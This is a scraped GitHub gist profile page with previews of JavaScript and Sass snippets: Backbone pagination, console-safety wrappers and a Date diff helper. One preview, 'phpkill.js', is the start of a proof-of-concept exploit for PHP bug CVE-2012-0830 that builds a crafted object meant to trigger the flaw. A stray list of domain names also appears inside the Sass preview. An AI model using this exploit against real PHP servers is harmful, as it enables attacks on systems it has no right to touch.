Skip to content

Instantly share code, notes, and snippets.

View letanure's full-sized avatar
🏠
Working from home

luiz tanure letanure

🏠
Working from home
View GitHub Profile
@letanure
letanure / collections_tags.js
Created January 20, 2012 07:30 — forked from bmsterling/collections_tags.js
Pagination of a large set of models. The full story can be found at http://benjaminsterling.com/pagination-and-backbone-js/
(function (collections, pagination, model) {
collections.Tags = Backbone.Collection.extend({
model : model,
url : 'tags_all.php',
/**
* @param resp the response returned by the server
* @returns (Array) tags
*/
parse : function (resp) {
@letanure
letanure / phpkill.js
Created February 7, 2012 00:38 — forked from pilate/phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
@letanure
letanure / sass-example.sass
Created March 22, 2012 03:00
sass example
// Agenda user
#agenda-user
overflow: hidden
margin: 15px
#agenda-user-list-area
width: 290px
float: left
#agenda-user-list-container
+size(100%, 260px)
overflow: hidden
.audi-info-details
+size(505px, 106px)
margin: 0 0 0 15px
float: left
h2
+text-shadow(#999 0 -1px 0px)
+box-shadow(rgba(0,0,0,0.3) 1px 1px 2px 0)
background: $azul-logo
padding: 5px 0 5px 10px
color: #fff
www.cheiroverdeilhabela.com.brDISABLED0
pizzacreek.comDISABLED0
www.realgessosp.com.brDISABLED0
www.lojalonglife.com.brDISABLED0
c4r4.comDISABLED0
www.98fm.net.brDISABLED0
campinamotofest.comDISABLED0
www.sanguecorinthiano.com.brDISABLED0
fivam.com.brDISABLED0
0-style.com
4wheelerforum.com
5193333.com
6044332211.com
a-b-construction.com
aboutmeditation.org
accommodation-pattaya.com
achum.com
actionwest.com
@letanure
letanure / gist:2431981
Created April 20, 2012 21:23 — forked from fnando/gist:2420869
My JavaScript Guidelines
@letanure
letanure / Date.prototype.diff.js
Created April 26, 2012 20:45 — forked from netojoaobatista/Date.prototype.diff.js
Returns the difference between two Date objects.
Object.defineProperty(Date.prototype,"diff",{
writable: false, configurable: false, enumerable: true,
/**
* Returns the difference between two Date objects.
* @param {Date} The date to compare to.
* @return {Object}
* @throws {TypeError}
*/
value: function(date) {
@letanure
letanure / console-x.js
Created May 20, 2012 01:12
Safe Console.log, dir, etc
// usage: log('inside coolFunc', this, arguments);
window.log = function f() {
log.history = log.history || [];
log.history.push(arguments);
if (this.console) {
var args = arguments,
newarr;
args.callee = args.callee.caller;
newarr = [].slice.call(args);
if (typeof console.log === 'object') log.apply.call(console.log, console, newarr);
@letanure
letanure / consoleX.js
Created May 23, 2012 19:43 — forked from zenorocha/Console Capture
Prevent console.log()s from causing JS errors
// make it safe to use console.log always
(function (a) {
function b() {}
for (var c = "assert,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profileEnd,time,timeEnd,trace,warn".split(","), d; !! (d = c.pop());) {
a[d] = a[d] || b;
}
})
(function () {
try {
console.log();